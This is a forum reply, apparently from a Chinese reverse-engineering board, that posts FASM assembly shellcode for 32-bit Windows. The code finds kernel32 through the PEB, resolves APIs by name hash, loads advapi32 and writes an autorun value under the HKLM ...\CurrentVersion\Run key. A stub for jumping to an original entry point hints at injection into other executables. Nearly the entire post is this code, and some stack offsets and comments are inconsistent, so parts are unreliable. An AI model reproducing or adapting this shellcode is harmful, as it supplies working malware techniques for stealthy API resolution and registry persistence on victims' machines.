能力值:
( LV8,RANK:120 )
2 楼
FASM的源代码 论坛大神 的shellcode中级拔高中的
include 'win32ax.inc'
LoadLibraryExA_Digest equ 0xc0d83287
LoadLibraryA_Digest equ 0x0C917432
MessageBoxA_Digest equ 0x1E380A6A
RegCreateKeyA_Digest equ 0x2B367128
RegSetValueExA_Digest equ 0xD8C0FEAA
RegCloseKey_Digest equ 0x0E511783
FreeLibrary_Digest equ 0x30BA7C8C
use32
.code
shellcode_start:
push ebp ;// 保存栈帧
mov ebp, esp
;// 在栈中构造UNICODE字符串 KERNEL32.DLL[K\0E\0 R\0N\0 E\0L\0 3\02\0 .\0D\0 L\0L\0 \0\0\0\0
push 00000000h ;//0000
push 004C004Ch ;//0L0L
push 0044002Eh ;//0D0.
push 00320033h ;//0203
push 004c0045h ;//0L0E ;//just push unicode string is ok!
push 004E0052h ;//0N0R
push 0045004Bh ;//0E0K
push esp ;//push kernel32.dll
call get_module_base ;//get kernel32 base
add esp, 7*4 ;//back heapstack
test eax, eax ;zf=1 then jmp
jz ._shellcode_return
push eax ;// [ebp-4]
push LoadLibraryA_Digest
push eax
call get_proc_address_by_digest;//get loadlibraryA address
test eax, eax
jz ._shellcode_return
push eax;this is loadlibrary func address push stack [ebp-08]
push 0h
push '.DLL'
push 'pi32'
push 'ADva'
push esp
call eax ;// LoadLibraryA
add esp, 3*4
test eax, eax
jz ._shellcode_return
push eax ;[ebp-0ch]
;// [ebp-c] hModule
;//getfuncaddress
push RegCreateKeyA_Digest ;//
push dword [ebp-10h] ;//push module
call get_proc_address_by_digest ;//get func address
test eax, eax ;//cmp eax=address
jz ._shellcode_return ;//zf=1 then jmp
push eax ;[ebp-10h]
push RegSetValueExA_Digest ;//
push dword [ebp-10h] ;//push module
call get_proc_address_by_digest ;//get func address
test eax, eax ;//cmp eax=address
jz ._shellcode_return ;//zf=1 then jmp
push eax ;[ebp-14h]
push RegCloseKey_Digest ;//
push dword [ebp-10h] ;//push module
call get_proc_address_by_digest ;//get func address
test eax, eax ;//cmp eax=address
jz ._shellcode_return ;//zf=1 then jmp
push eax ;[ebp-18h]
mov eax,[ebp-14h]
; HKEY_LOCAL_MACHINE
push 0007ffa8h
push 0
push 80000002h
call eax
mov eax,[ebp-18h] ;
push 'n'
push 'n\Ru'
push 'rsio'
push 'ntVe'
push 'urre'
push 'ws\C'
push 'indo'
push 'ft\W'
push 'roso'
push '\Mic'
push 'ware'
push 'Soft'
mov edi,esp
push 'axx'
mov ebx,esp
push 100
push ebx
push 1
push 0
push edi
push 0007ffa8h
call eax
add esp,13*4
;//this is cod
push FreeLibrary_Digest
push dword [ebp-4]
call get_proc_address_by_digest
test eax, eax
jz ._shellcode_return
push dword [ebp-0ch] ;//free user32.dll imagememory
call eax ;//call freefunc
._shellcode_return:
mov esp, ebp
pop ebp ;// 恢复栈帧
ret
jmp jmp_to_oep ;/************************************************************************/
;/* Get base address of module
;* tishion
;* 2013-05-26 13:45:20
;* IN:
;* ebp+8 = moudule name null-terminate string [WCHAR]
;*
;* OUT:
;* eax = ntdll.base
;* #define _Wcsnicmp_Digest 0x548b2e5f
;/************************************************************************/
get_module_base:
push ebp
mov ebp, esp
call get_ntdll_base
test eax, eax
jz ._find_modulebase_done
push 548b2e5fh ;// hash of _wcsnicmp
push eax
call get_proc_address_by_digest
test eax, eax ;// _wcsnicmp
jz ._find_modulebase_done
push eax ;// [ebp-04h]_wcsnicmp
mov eax, 30h
mov eax, [fs:eax] ;// eax = ppeb
test eax, eax
jz ._find_modulebase_done
mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA]
test eax, eax
jz ._find_modulebase_done
mov esi, [eax+1ch]
jmp ._compare_moudule_name
._find_modulebase_loop:
mov esi, [esi] ;// esi = pLdr->InInitializationOrderModuleList
._compare_moudule_name:
test esi, esi
jz ._find_modulebase_done
xor edi, edi
mov di, word [esi+1ch] ;// length
push edi
push dword [esi+20h] ;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR]
push dword [ebp+08h]
mov edi, [ebp-04h]
call edi
test eax, eax
jnz ._find_modulebase_loop
mov eax, [esi+08h] ;// eax = pLdrDataTableEntry.DllBase
;//mov ecx, [esi+20h]
._find_modulebase_done:
mov esp, ebp
pop ebp
ret 4
;/************************************************************************/
;/* Get base address of ntdll.dll module
;* tishion
;* 2013-05-26 13:45:20
;*
;* OUT:
;* eax = ntdll.base
;/************************************************************************/
get_ntdll_base:
mov eax, 30h
mov eax, [fs:eax] ;// eax = ppeb
test eax, eax
jz ._find_ntdllbase_done
mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA]
test eax, eax
jz ._find_ntdllbase_done
mov eax, [eax+1ch] ;// eax = pLdr->InInitializationOrderModuleList
test eax, eax
jz ._find_ntdllbase_done
mov eax, [eax+08h] ;// eax = pLdrDataTableEntry.DllBase
._find_ntdllbase_done:
ret
;/************************************************************************/
;/* Get function name digest
;* tishion
;* 2013-05-26 13:45:20
;*
;* IN:
;* esi = function name
;* OUT:
;* edx = digest
;/************************************************************************/
get_ansi_string_digest:
push eax
xor edx, edx
._next_char:
xor eax, eax
lodsb
test eax, eax
jz ._done
ror edx, 7
add edx, eax
jmp ._next_char
._done:
pop eax
ret
;/************************************************************************/
;/* Get function address by searching export table
;* tishion
;* 2013-05-26 13:50:13
;*
;* IN:
;* [ebp+8] = module base
;* [ebp+0ch] = function name digest
;* OUT:
;* eax function address (null if failed)
;/************************************************************************/
get_proc_address_by_digest:
push ebp
mov ebp, esp
mov eax, [ebp+8]
cmp word [eax], 5a4dh ;// 'MZ'
jnz ._return_null
add eax, [eax+3ch] ;// eax = ImageNtHeader IMAGE_NT_HEADERS
cmp dword [eax], 00004550h ;// 'PE'
jnz ._return_null
push eax ;// [ebp-04h]
;//add eax, 18h ;// eax = ImageOptionalHeader IMAGE_OPTIONAL_HEADER
;//add eax, 60h ;// eax = ImageExportDirectoryEntry IMAGE_DIRECTORY_ENTRY_EXPORT
;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:
add eax, 78h
mov eax, [eax] ;// eax = RVA IMAGE_EXPORT_DIRECTORY
add eax, [ebp+08h] ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
mov ecx, eax
mov eax, [ecx+20h]
add eax, [ebp+08h] ;// eax = AddressOfNames
push eax ;// [ebp-08h] 导出名称地址表
mov eax, [ecx+24h]
add eax, [ebp+08h] ;// eax = AddressOfNameOrdinals
push eax ;// [ebp-0ch] 导出序号表
mov eax, [ecx+1ch]
add eax, [ebp+08h] ;// eax = AddressOfFunctions
push eax ;// [ebp-10h] 导出RAV地址表
push dword [ecx+10h] ;// [ebp-14h]ordinals base
push dword [ecx+14h] ;// [ebp-18h]NumberOfFunctions
push dword [ecx+18h] ;// [ebp-1ch]NumberOfNames
mov ecx, [ebp-1ch]
mov ebx, ecx
mov eax, [ebp-08h]
._find_func:
mov edi, ebx
sub edi, ecx
mov esi, [eax+edi*4]
test esi, esi ;// esi是否NULL
loope ._find_func
inc ecx
add esi, [ebp+08h]
call get_ansi_string_digest
cmp edx, [ebp+0ch]
loopne ._find_func ;// ecx 为目标函数在函数名数组中的index
xor edx, edx
mov eax, [ebp-0ch]
mov dx, [eax+edi*2]
;//add edx, [ebp-14h] ;//Ordinal base 处理, 蛋疼?找微软!
;//sub edx, [ebp-14h]
;// 以上两条同样是让程序流程清晰,实际运用中,如果不需要输出Ordinal,则不需要进行该操作
cmp edx, [ebp-18h]
jae ._return_null
mov eax, [ebp-10h] ;// eax = AddressOfFunctions
mov eax, [eax+edx*4] ;// edi = RVA地址数组的地址 edi+4*序号 即为 某一函数的RVA地址
add eax, [ebp+08h]
jmp ._function_found_done
._return_null:
xor eax, eax
._function_found_done:
mov esp, ebp
pop ebp
ret 8
jmp_to_oep:
jmp $
.end shellcode_start